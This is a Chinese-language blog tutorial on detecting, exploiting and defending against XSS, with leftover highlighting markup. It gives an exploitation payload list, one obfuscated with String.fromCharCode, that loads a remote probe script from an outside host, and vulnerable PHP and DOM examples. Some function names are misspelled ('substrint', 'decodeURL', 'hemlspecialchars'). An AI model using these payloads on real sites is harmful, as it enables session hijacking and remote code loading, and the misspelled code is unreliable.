欢迎光临
我们一直在努力

XSS漏洞挖掘与利用

XSS的检测

检测XSS一般分两种方法:一种是手工检测、一种是软件自动检测
手工检测:检测结果准确,但对于大型web来说费时费力
软件检测:方便省力,但存在误报,且有写隐蔽的XSS无法检测出
检测XSS最重要的就是考虑哪里有输入,输入的数据在哪里输出

1. 手工检测


可得知输出位置:
    ? 输入敏感字符,如“&lt;、&gt;、<span class="hljs-comment" style="box-sizing: border-box; color: #93a1a1;">"、'、()”等,然后在提交后查看html源代码,看这些字符是否被转义。</span> ? 在输出这些字符时,程序可能已经进行了过滤,可以输入“AAAAAA&lt;&gt;<span class="hljs-comment" style="box-sizing: border-box; color: #93a1a1;">"&amp;'()”字符串,然后查找AAAAAA或许比较方便。</span> 无法得知输出位置:
    很多web应用程序源码不公开,在测试时不能的值输出位置,比如,有些留言本在留言后必须经过管理员审核才能显示,无法的值数据在后台管理页面处于何种状态,如:
    在标签中:<span class="hljs-symbol" style="box-sizing: border-box; color: #cb4b16;">&lt;div&gt;</span>XSS Test&lt;/div&gt;
    在属性内:&lt;<span class="hljs-built_in" style="box-sizing: border-box; color: #268bd2;">input</span> <span class="hljs-built_in" style="box-sizing: border-box; color: #268bd2;">type</span>=<span class="hljs-string" style="box-sizing: border-box; color: #2aa198;">"text"</span> name=<span class="hljs-string" style="box-sizing: border-box; color: #2aa198;">"content"</span> value=<span class="hljs-string" style="box-sizing: border-box; color: #2aa198;">"XSS Test"</span> /&gt;
    这种情况通常采用输入<span class="hljs-comment" style="box-sizing: border-box; color: #93a1a1;">"/&gt;XSS Test来测试。</span>

2. 全自动检测XSS

如APPSCAN、AWVS、Burp Suite等软件都可以有效的检测XSS,他们还会检测其他的漏洞,但是他们的效率不如专业的XSS检测工具高。
专业的XSS扫描工具有知名的XSSER、XSSF等,还有专门扫描DOM类型XSS的web服务(www.domxssscanner.com)。
一般要手工和软件一起使用,因为有些XSS软件不能检测,不如有些留言需要输入验证码等,工具无法做到。

XSS的挖掘与利用

1. XSS漏洞挖掘


反射型XSS:
    一般是<span class="hljs-built_in" style="box-sizing: border-box; color: #268bd2;">url</span>参数中的值能够回显到HTML中,且<span class="hljs-built_in" style="box-sizing: border-box; color: #268bd2;">url</span>的参数值没有过滤或过滤不严
存储型XSS:
    可以提交内容
    提交的内容可被管理员或其他用户看到
    提交的内容没有被过滤或过滤不严

2. XSS漏洞利用

XSS一般就是闭合标签,和SQL注入类似,常见payload如下:


? &lt;script src='http://b.ioio.pub/xss/probe.js'&gt;&lt;/script&gt;
? &lt;img src=x onerror="s=createElement('script')<span class="hljs-comment" style="box-sizing: border-box; color: #93a1a1;">;body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js'";&gt;</span> ? &lt;svg onload=s=createElement('script')<span class="hljs-comment" style="box-sizing: border-box; color: #93a1a1;">;body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js&gt;</span> ? &lt;svg onload=eval(String.fromCharCode(<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">115,61,99,114</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">101,97,116,101</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">69,108,101,109</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">101,110,116,40</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">39,115,99,114</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">105,112,116,39</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">41,59,98,111</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">100,121,46,97</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">112,112,101,110</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">100,67,104,105</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">108,100,40,115</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">41,59,115,46</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">115,114,99,61</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">39,104,116,116</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">112,58,47,47</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">98,46,105,111</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">105,111,46,112</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">117,98,47,120</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">115,115,47,112</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">114,111,98,101</span>,<span class="hljs-number" style="box-sizing: border-box; color: #2aa198;">46,106,115</span>)) &gt;

XSS简单示例


反射型xss简单示例:
    ? <span class="php" style="box-sizing: border-box;"><span class="hljs-meta" style="box-sizing: border-box;">&lt;?php</span> <span class="hljs-keyword" style="box-sizing: border-box; color: #859900;">echo</span> $_GET[<span class="hljs-string" style="box-sizing: border-box; color: #2aa198;">'x'</span>]; <span class="hljs-meta" style="box-sizing: border-box;">?&gt;</span></span> ? 提交:
      /xss.php?x=<span class="hljs-tag" style="box-sizing: border-box;">&lt;<span class="hljs-name" style="box-sizing: border-box; color: #268bd2;">script</span>&gt;</span><span class="undefined" style="box-sizing: border-box;">alert(1)</span><span class="hljs-tag" style="box-sizing: border-box;">&lt;/<span class="hljs-name" style="box-sizing: border-box; color: #268bd2;">script</span>&gt;</span> ? 服务端解析时就会触发弹窗

下面是一段经典的DOM型XSS示例: <span class="hljs-tag" style="box-sizing: border-box;">&lt;<span class="hljs-name" style="box-sizing: border-box; color: #268bd2;">script</span>&gt;</span><span class="javascript" style="box-sizing: border-box;"> <span class="hljs-keyword" style="box-sizing: border-box; color: #859900;">var</span> temp = <span class="hljs-built_in" style="box-sizing: border-box; color: #268bd2;">document</span>.URL; <span class="hljs-comment" style="box-sizing: border-box; color: #93a1a1;">//获取URL</span> <span class="hljs-keyword" style="box-sizing: border-box; color: #859900;">var</span> index = <span class="hljs-built_in" style="box-sizing: border-box; color: #268bd2;">document</span>.URL.indexOf(<span class="hljs-string" style="box-sizing: border-box; color: #2aa198;">"content"</span>); <span class="hljs-keyword" style="box-sizing: border-box; color: #859900;">var</span> par = temp.substrint(index); <span class="hljs-built_in" style="box-sizing: border-box; color: #268bd2;">document</span>.write(decodeURL(par)); <span class="hljs-comment" style="box-sizing: border-box; color: #93a1a1;">//输入获取内容</span> </span><span class="hljs-tag" style="box-sizing: border-box;">&lt;/<span class="hljs-name" style="box-sizing: border-box; color: #268bd2;">script</span>&gt;</span> 上述代码的意思是获取URL中content参数的值,并且输出,若输入http://www.xxx.com/dom.html?content=<span class="hljs-tag" style="box-sizing: border-box;">&lt;<span class="hljs-name" style="box-sizing: border-box; color: #268bd2;">script</span>&gt;</span><span class="javascript" style="box-sizing: border-box;">alert(<span class="hljs-regexp" style="box-sizing: border-box; color: #2aa198;">/xss/</span>)</span><span class="hljs-tag" style="box-sizing: border-box;">&lt;/<span class="hljs-name" style="box-sizing: border-box; color: #268bd2;">script</span>&gt;</span>,就会产生XSS漏洞。

只要在script标签中添加JavaScript代码,就能实现一些“特殊效果”,但通常在真实攻击中一般使用

&lt;script src="http://www.xxx.com/a.txt"&gt;&lt;/script&gt;

的方式来加载外部脚本,a.txt中就存放这恶意脚本。
注:JavaScript加载的脚本文件可以是任意扩展名,甚至没有也行,只要加载的文件中含有JavaScript代码就会被执行。

XSS的防御

1. 过滤输入与输出(重点)

使用hemlspecialchars()和hemlentities()将一些预定义的字符转换为HTML实体


<span class="php" style="box-sizing: border-box;"><span class="hljs-meta" style="box-sizing: border-box;">&lt;?php</span> @$html = $_GET[<span class="hljs-string" style="box-sizing: border-box; color: #2aa198;">'x'</span>]; <span class="hljs-keyword" style="box-sizing: border-box; color: #859900;">if</span> ($html){ <span class="hljs-keyword" style="box-sizing: border-box; color: #859900;">echo</span> htmlspecialchars($html);
    } <span class="hljs-meta" style="box-sizing: border-box;">?&gt;</span></span>

2. HttpOnly

HttpOnly并不能防御XSS,它是为了解决XSS漏洞后面的Cookie劫持攻击,它可以有效地阻挡XSS会话劫持攻击。

未经允许不得转载:杂术馆 » XSS漏洞挖掘与利用
分享到: 更多 (0)